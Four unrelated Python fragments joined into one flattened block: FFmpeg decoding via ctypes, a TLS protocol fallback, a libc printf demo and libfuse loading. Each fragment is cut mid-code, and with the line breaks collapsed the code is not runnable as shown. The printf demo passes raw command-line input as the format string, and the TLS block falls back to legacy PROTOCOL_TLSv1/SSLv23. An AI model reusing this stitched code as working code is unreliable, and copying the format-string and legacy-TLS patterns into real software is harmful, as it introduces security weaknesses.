format_alloc_context = lib_avformat.avformat_alloc_context format_alloc_context.restype = ctypes.POINTER(AVFormatContext) self.format_ctx_ptr = format_alloc_context() if not self.format_ctx_ptr: print("Could not allocate format context") clean_decoder() return 4 av_malloc = lib_avutil.av_malloc av_malloc.restype = ctypes.POINTER(ctypes.c_ubyte) buffer_ptr = av_malloc(self.buff_size) if not buffer_ptr: print("Could not allocate buffer") clean_decoder() return 5 def read_packet_wrapper(_, buff, c_size): try: s, data = self.receive_data(c_size) if s == 0: return self.ff_err_tag('EOF ') else: ctypes.memmove(buff, data, s) return s except: traceback.print_exc() return self.ff_err_tag('EOF ') read_packet_ptr = read_packet_func(read_packet_wrapper) av_alloc_ctx = lib_avformat.avio_alloc_context av_alloc_ctx.restype = ctypes.c_void_p avio_ctx_ptr = av_alloc_ctx(buffer_ptr, self.buff_size, 0, None, read_packet_ptr, None, None) if not avio_ctx_ptr: print("Could not allocate avio context") clean_decoder() return 6 self.format_ctx_ptr.contents.pb = avio_ctx_ptr open_input = lib_avformat.avformat_open_input ret = open_input(ctypes.byref(self.format_ctx_ptr), None, None, None) if ret < 0: print("Could not open video stream") clean_decoder() return 7 alloc_frame = lib_avutil.av_frame_alloc alloc_frame.restype = ctypes.POINTER(AVFrame) self.frame_ptr = alloc_frame() packet = AVPacket() lib_avcodec.av_init_packet(ctypes.byref(packet)) while self.should_run: if not lib_avformat.av_read_frame(self.format_ctx_ptr, ctypes.byref(packet)): ret = lib_avcodec.avcodec_send_packet(self.codec_ctx_ptr, ctypes.byref(packet)) if ret < 0: print("Could not send video packet: %d" % ret) break ret = lib_avcodec.avcodec_receive_frame( self.codec_ctx_ptr, self.frame_ptr) if not ret: self.push_frame(self.frame_ptr) else: print("Could not receive video frame: %d" % ret) lib_avcodec.av_packet_unref(ctypes.byref(packet)) else: print("Could not read packet, quit.") self.should_run = False clean_decoder() return 0
# Select a protocol that includes all secure tls protocols # Exclude insecure ssl protocols if possible if HAS_SSL: # If we can't find extra tls methods, ssl.PROTOCOL_TLSv1 is sufficient PROTOCOL = ssl.PROTOCOL_TLSv1 if not HAS_SSLCONTEXT and HAS_SSL: try: import ctypes import ctypes.util except ImportError: # python 2.4 (likely rhel5 which doesn't have tls1.1 support in its openssl) pass else: libssl_name = ctypes.util.find_library('ssl') libssl = ctypes.CDLL(libssl_name) for method in ('TLSv1_1_method', 'TLSv1_2_method'): try: libssl[method] # Found something - we'll let openssl autonegotiate and hope # the server has disabled sslv2 and 3. best we can do. PROTOCOL = ssl.PROTOCOL_SSLv23 break except AttributeError: pass del libssl LOADED_VERIFY_LOCATIONS = set() HAS_MATCH_HOSTNAME = True
# coding: utf-8 import logging, sys, glob, ctypes ## debian6 only #_libc = ctypes.CDLL('/lib/libc.so.6') # mac only _libc = ctypes.CDLL('/usr/lib/libc.dylib') if __name__ == '__main__': print _libc.printf if 1 < len(sys.argv): _libc.printf(" ".join(sys.argv[1:]) + "\n")
class c_utimbuf(ctypes.Structure): _fields_ = [('actime', c_timespec), ('modtime', c_timespec)] class c_stat(ctypes.Structure): pass # Platform dependent _system = system() _machine = machine() _libfuse_path = os.environ.get('FUSE_LIBRARY_PATH') if not _libfuse_path: if _system == 'Darwin': # libfuse dependency _libiconv = ctypes.CDLL(find_library('iconv'), ctypes.RTLD_GLOBAL) _libfuse_path = (find_library('fuse4x') or find_library('osxfuse') or find_library('fuse')) else: _libfuse_path = find_library('fuse') if not _libfuse_path: raise EnvironmentError('Unable to find libfuse') else: _libfuse = ctypes.CDLL(_libfuse_path) if _system == 'Darwin' and hasattr(_libfuse, 'macfuse_version'): _system = 'Darwin-MacFuse' if _system in ('Darwin', 'Darwin-MacFuse', 'FreeBSD'):